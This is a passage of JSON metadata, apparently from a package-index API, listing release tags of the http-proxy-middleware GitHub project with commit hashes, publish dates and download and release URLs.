:"2022-04-19T20:25:16.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.5","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.5/manifests"},{"name":"v2.0.4","sha":"4baae769e46914299240d4c3ddd59019ba1520bd","kind":"commit","published_at":"2022-03-13T16:06:43.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.4","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.4/manifests"},{"name":"v2.0.3","sha":"cb466286e83782e868df966cd687a656df7a91f2","kind":"commit","published_at":"2022-02-07T18:42:54.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.3","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.3/manifests"},{"name":"v2.0.2","sha":"d7623983e18f0daa724a3fcc0b5d4d1812e4c3c1","kind":"commit","published_at":"2022-01-23T17:37:45.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.2/manifests"},{"name":"v2.0.1","sha":"c9bec81e82664809c816250f15d30543c4447571","kind":"commit","published_at":"2021-07-01T20:36:59.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.1/manifests"},{"name":"v2.0.0","sha":"6429b647fcbc4ac8f60c37a654e0d1c306fd2551","kind":"commit","published_at":"2021-05-07T17:41:01.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.0/manifests"},{"name":"v1.3.1","sha":"b78d5d4cbbc681e4c4d1b5257477f40974dc3b84","kind":"commit","published_at":"2021-04-28T18:41:36.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.3.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"34468a161065cd147120390af799a556dc3494e2","kind":"commit","published_at":"2021-04-25T21:33:44.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.3.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.3.0/manifests"},{"name":"v1.2.1","sha":"1704875df236bfa8ff156502436906cd84fc88bd","kind":"commit","published_at":"2021-04-24T12:50:09.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.2.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"017ac01aa08bee2cb286e9f229b9fb78d406e4c5","kind":"commit","published_at":"2021-04-18T13:19:08.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.2.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.2.0/manifests"},{"name":"v1.1.2","sha":"13bc071c0caada7a4fb2345b91256167e7d7463b","kind":"commit","published_at":"2021-04-14T20:07:14.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.1.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.1.2/manifests"},{"name":"v1.1.1","sha":"0381fdfbc5976ad8a3632fd92b7406047f1c6748","kind":"commit","published_at":"2021-04-10T08:43:57.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.1.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"c38efe9215f4089fc2fc8baf0c7b07840789da47","kind":"commit","published_at":"2021-03-28T21:29:41.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.1.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.1.0/manifests"},{"name":"v1.0.6","sha":"f212a047ef45898ce6053b622cada4b0617b9ddf","kind":"commit","published_at":"2020-10-11T19:40:04.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.0.6","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.6/manifests"},{"name":"v1.0.5","sha":"5384dcfab6e5d565b97b2ff5d6cac3209aada6e8","kind":"commit","published_at":"2020-07-09T16:40:37.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.0.5","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.5/manifests"},{"name":"v0.19.2","sha":"ffcd889b2aa8bbc59ed93f2bd34a61923748942f","kind":"commit","published_at":"2020-05-19T18:56:13.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.19.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.19.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.19.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.19.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.19.2/manifests"},{"name":"v1.0.4","sha":"68e3e300574d275ea99f264dedcfd72d7dccc626","kind":"commit","published_at":"2020-05-18T16:27:47.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.0.4","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.4/manifests"},{"name":"v1.0.3","sha":"e767654221fbc866adf16e3c0c96c29ca6800220","kind":"commit","published_at":"2020-03-16T21:20:34.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.0.3","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.3/manifests"},{"name":"v1.0.2","sha":"573a8c45fbdf6b41ea99a8d8216d43f2455bb604","kind":"commit","published_at":"2020-03-14T13:22:10.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.0.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.2/manifests"},{"name":"v1.0.1","sha":"23522c7a88098e2e18d4a836e41c3dde9d55c4a6","kind":"commit","published_at":"2020-02-29T12:37:16.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.0.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.1/manifests"},{"name":"v1.0.0","sha":"aefdbe8688f3e1491a9e94c08e17fb6b3a0d6a8f","kind":"commit","published_at":"2020-02-18T22:28:36.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.0.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.0/manifests"},{"name":"v0.21.0","sha":"b8f33210770878685202ceb7494e53399ed838a0","kind":"commit","published_at":"2020-02-16T18:31:18.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.21.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.21.0/manifests"},{"name":"v","sha":"b8f33210770878685202ceb7494e53399ed838a0","kind":"commit","published_at":"2020-02-16T18:31:18.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v/manifests"},{"name":"v0.20.0","sha":"3b9730826187c708fbd16cb0baa588f6aad73a00","kind":"commit","published_at":"2019-09-03T19:54:52.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.20.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.20.0/manifests"},{"name":"v0.20.0-beta.0","sha":"021b03f0d805446d21e9e9b0700c75b8eb8f39f6","kind":"tag","published_at":"2019-06-02T15:17:34.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.20.0-beta.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.20.0-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.20.0-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.20.0-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.20.0-beta.0/manifests"},{"name":"v0.19.1","sha":"6422977cebde7ba6b2a506f47db97aa58ccbd44c","kind":"commit","published_at":"2018-11-25T20:18:04.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.19.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.19.1/manifests"},{"name":"v0.19.0","sha":"bb59c666dbb65cc0ef422bbf5332b67cbd6fb0e3","kind":"commit","published_at":"2018-08-29T21:09:16.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.19.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.19.0/manifests"},{"name":"v0.18.0","sha":"952c1afb7045179417659cf45c111f51b9339d2e","kind":"commit","published_at":"2018-03-12T22:39:51.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.18.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.18.0/manifests"},{"name":"v0.17.4","sha":"cb5e084e71bc3202fe4f711f2f5edf4e29355d99","kind":"commit","published_at":"2017-03-02T23:05:58.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.17.4","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.17.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.17.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.4/manifests"},{"name":"v0.17.3","sha":"8689cb429577a7722b9334e702535cb752191c43","kind":"commit","published_at":"2016-12-07T21:17:30.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.17.3","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.17.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.17.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.3/manifests"},{"name":"v0.17.2","sha":"f03aecf755a0a645a83646131548754638b2e994","kind":"commit","published_at":"2016-09-28T22:24:52.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.17.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.17.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.17.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.2/manifests"},{"name":"v0.17.1","sha":"8a0ff1f0da2496b517ba02ccb30b1a9a17926dc7","kind":"commit","published_at":"2016-08-11T21:25:59.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.17.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.1/manifests"},{"name":"v0.17.0","sha":"306fdd4162af41a5ced5ba17be80cbb861204f5f","kind":"commit","published_at":"2016-07-03T15:29:36.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.17.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.0/manifests"},{"name":"v0.16.0","sha":"09926cdd29573e2966993a743d8b68e415f9c6b5","kind":"commit","published_at":"2016-06-13T18:48:47.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.16.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.16.0/manifests"},{"name":"v0.15.2","sha":"679526ef1f3a61e4b68c26d9f644195e93727b72","kind":"commit","published_at":"2016-05-29T12:50:53.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.15.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.15.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.15.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.15.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.15.2/manifests"},{"name":"v0.15.1","sha":"9e542faa39fd9e8caa9785088fb99511b24f41f3","kind":"commit","published_at":"2016-05-26T22:01:15.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.15.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.15.1/manifests"},{"name":"v0.15.0","sha":"b33b96978506ce00b7833f94514523a696e6cb13","kind":"commit","published_at":"2016-05-03T20:56:13.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.15.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.15.0/manifests"},{"name":"v0.14.0","sha":"28f17062174987e80bdb3ff60478d746a17cb43f","kind":"commit","published_at":"2016-04-18T20:37:21.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.14.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.14.0/manifests"},{"name":"v0.13.0","sha":"6606489c35a06ded05694d33a15cf02917ca1173","kind":"commit","published_at":"2016-03-23T20:19:44.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.13.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.13.0/manifests"},{"name":"v0.12.0","sha":"951d9bf3fe81d83935bdcb8dfb51643a2775f251","kind":"commit","published_at":"2016-03-13T17:47:42.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.12.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.12.0/manifests"},{"name":"v0.11.0","sha":"1f21feda49e57806d82be94ba3f3e46a70e7f868","kind":"commit","published_at":"2016-02-24T19:56:25.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.11.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.11.0/manifests"},{"name":"v0.10.0","sha":"5bed3c630c00c0d301fcdda4e4ea20ab31a95bfd","kind":"commit","published_at":"2016-02-05T19:16:37.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.10.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.10.0/manifests"},{"name":"v0.10.0-beta","sha":"8ce646fe7c7736e9d90bc5d02682bc3fcc649da1","kind":"commit","published_at":"2016-01-26T21:28:25.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.10.0-beta","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.10.0-beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.10.0-beta","tag_url":"https://repos.e